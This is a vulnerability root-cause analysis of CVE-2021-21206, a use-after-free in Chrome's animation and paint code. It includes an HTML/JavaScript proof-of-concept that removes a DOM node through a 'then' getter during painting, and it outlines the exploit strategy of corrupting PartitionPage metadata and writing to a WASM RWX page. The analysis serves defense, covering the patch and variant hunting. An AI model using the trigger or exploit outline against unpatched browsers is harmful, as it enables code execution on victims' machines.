# CVE-2021-21206: Chrome Use-After-Free in Animations
*Brendon Tiszka, Chrome*

## The Basics

**Disclosure or Patch Date:** Apr 7, 2021

**Product:** Google Chrome

**Advisory:** https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html

**Affected Versions:** pre 89.0.4389.114 (likely to M59)

**First Patched Version:** 89.0.4389.128

**Issue/Bug Report:** 1196781

**Patch CL:** https://chromium-review.googlesource.com/c/chromium/src/+/2812000

**Bug-Introducing CL:** N/A, likely https://codereview.chromium.org/2808013002

**Reporter(s):** Anonymous

## The Code

**Proof-of-concept:**

```html
<html>
  <head>
    <script>
      function run() {
        let div = document.createElement('div');
        document.body.appendChild(div);
        let animation = div.animate([ {opacity: 0.1} ], 1);
        Object.defineProperty(Object.prototype, 'then', {
          get: function () {
            div.remove();
          }
        });
        animation.ready.then((_)=>{});
        animation.pause();
      }
    </script>
  </head>
  <body onload="run()"></body>
</html>
```

**Exploit sample:** Yes

**Did you have access to the exploit sample when doing the analysis?** Yes

## The Vulnerability

**Bug class:** use-after-free and unexpected JavaScript callback triggered by a `thennable` object

**Vulnerability details:**

Prerequisites: 
* Each DOM node owns a `LayoutObject`. `LayoutObjects` form a tree structure that is a close mapping of the DOM tree.
* `LayoutObjects` store information needed for painting and are created by [LayoutTreeBuilderForElement::CreateLayoutTree](https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/dom/layout_tree_builder.cc;l=85;drc=5342041f85833c038dcbc5632d62fc10f7592323).
* The code within `renderer/core/paint` converts the `LayoutObject` tree into a rendering format for the compositor. The process is broken up into two parts: [PrePaint](https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/frame/local_frame_view.cc;l=2743;drc=5342041f85833c038dcbc5632d62fc10f7592323) and [Paint](https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/frame/local_frame_view.cc;l=2596;drc=5342041f85833c038dcbc5632d62fc10f7592323).
* PrePaint walks the `LayoutObject` tree and builds the `PaintPropertyTree`. The `PaintPropertyTree` is a specialized tree used for painting. Each `LayoutObject` has one or more `FragmentData` which holds information about a portion of the `LayoutObject` and every `FragmentData` has an `ObjectPaintProperties` if any paint property nodes are induced on it (e.g. if the fragment has a transform then its [ObjectPaintProperties::Transform()](https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/paint/object_paint_properties.h;l=91;drc=5342041f85833c038dcbc5632d62fc10f7592323) points to the `TransformPaintPropertyNode` representing that transform). These property nodes are stored to the `PaintPropertyTree` [during PrePaint](https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/paint/paint_property_tree_builder.cc;l=974;drc=5342041f85833c038dcbc5632d62fc10f7592323). Notably, the `PainPropertyTrees` hold [raw pointers](https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/platform/graphics/paint/property_tree_state.h;l=96;drc=5342041f85833c038dcbc5632d62fc10f7592323) to the `ObjectPaintProperties` nodes.
* Tangentially, `DocumentAnimations::UpdateAnimations` can trigger a synchronous JavaScript callback if there is a queued microtask and the animation has a [pending_pause_](https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/animation/animation.cc;l=1244;drc=5342041f85833c038dcbc5632d62fc10f7592323) ([NotifyRead](https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/animation/pending_animations.cc;l=94;drc=5342041f85833c038dcbc5632d62fc10f7592323) -> [CommitPendingPause](https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/animation/animation.cc;l=635;drc=5342041f85833c038dcbc5632d62fc10f7592323) -> [ResolvePromiseMaybeAsync](https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/animation/animation.cc;l=2307;drc=5342041f85833c038dcbc5632d62fc10f7592323) -> PromiseResolve). PromiseResolve has a documented way to trigger synchronous callbacks that has caused many issues.

```c++
void LocalFrameView::RunPaintLifecyclePhase(PaintBenchmarkMode benchmark_mode) {
  …
  ForAllNonThrottledLocalFrameViews(
      [this, &total_animations_count, &current_frame_had_raf,
       &next_frame_has_pending_raf](LocalFrameView& frame_view) {
        ...
        frame_view.GetLayoutView()
            ->GetDocument()
            .GetDocumentAnimations()
            .UpdateAnimations(DocumentLifecycle::kPaintClean,
                              paint_artifact_compositor_.get()); /*** 1 ***/
        Document& document = frame_view.GetLayoutView()->GetDocument();
        total_animations_count +=
            document.GetDocumentAnimations().GetAnimationsCount();
        current_frame_had_raf |= document.CurrentFrameHadRAF();
        next_frame_has_pending_raf |= document.NextFrameHasPendingRAF();
      });
   ...
  if (paint_artifact_compositor_)
    paint_artifact_compositor_->ClearPropertyTreeChangedState(); /*** 2 ***/

  if (GetPage())
    GetPage()->Animator().ReportFrameAnimations(GetCompositorAnimationHost());
}
```

The bug lies within Paint. `UpdateAnimations` [1] can trigger a callback, and within that callback a `LayoutObject` that Paint is currently painting can be destroyed by removing the DOM node that owns it, leading to the `ObjectDataProperties` and its property nodes being freed. Then within `ClearPropertyTreeChangedState` [2] the [dangling pointer](https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/platform/graphics/paint/property_tree_state.h;l=96;drc=5342041f85833c038dcbc5632d62fc10f7592323) to `ObjectDataProperties::Transform()` is dereferenced leading to a use-after-free.

Note: Synchronous JavaScript execution is not expected within PrePaint nor Paint. There are likely many ways to trigger memory corruption bug beyond this specific use-after-free.

**Patch analysis:**

The patch wraps `UpdateAnimations` with a `ScriptForbiddenScope` assert-scope which will cause the JavaScript callback to be executed asynchronously.

**Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:**

It seems reasonable that it could have been found through variant analysis given that _unexpected JavaScript callback triggered by a `thennable` object_ is a fairly well-known bug class within Chrome that commonly causes use-after-frees and [iterator-invalidation](crbug.com/1045874) issues. A vulnerability researcher could have also come across crbug.com/678706 and crbug.com/708887 dug deeper into this area of code.

**(Historical/present/future) context of bug:** 

* [crbug.com/678706](https://crbug.com/678706) and [crbug.com/708887](https://crbug.com/708887)
* `Promise.then` publicly documented in https://bugs.chromium.org/p/chromium/issues/detail?id=663476#c10

## The Exploit

(The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).)

**Exploit strategy (or strategies):** The exploit modifies the PartitionPage metadata to exploit the UAF and get arbitrary read/write.

**Exploit flow:** The exploit uses the arbitrary read/write to leak the address of a WASM RWX page and writes to it to get code execution.

**Known cases of the same exploit flow:** The exploit follows a similar pattern as many other Blink [use-after-frees](https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/)

**Part of an exploit chain?** N/A

## The Next Steps

### Variant analysis

**Areas/approach for variant analysis (and why):**

* Look for other ways to trigger a synchronous callback within PrePaint and Paint.
* Wrap PrePaint and Paint in an psuedo script forbidden assert-scope that crashes on any resolve while fuzzing.

**Found variants:** N/A

### Structural improvements

**Ideas to kill the bug class:**

Narrowing in on _memory corruptions caused by JavaScript callbacks within PrePaint and Paint_: wrap `RunPrePaintLifecyclePhase` and `RunPaintLifecyclePhase` with `ScriptForbiddenScope`.

**Ideas to mitigate the exploit flow:** N/A

**Other potential improvements:** N/A

### 0-day detection methods

* Create an assert-scope similar to `ScriptForbiddenScope` that logs with `DumpWithoutCrashing`. Surround fragile areas of the codebase like Paint, PrePaint, and other potentially fragile areas like any `HeapVector` iteration with this assert-scope.

## Other References 
* [renderer/core/paint documentation](https://chromium.googlesource.com/chromium/src/+/HEAD/third_party/blink/renderer/core/paint/README.md)
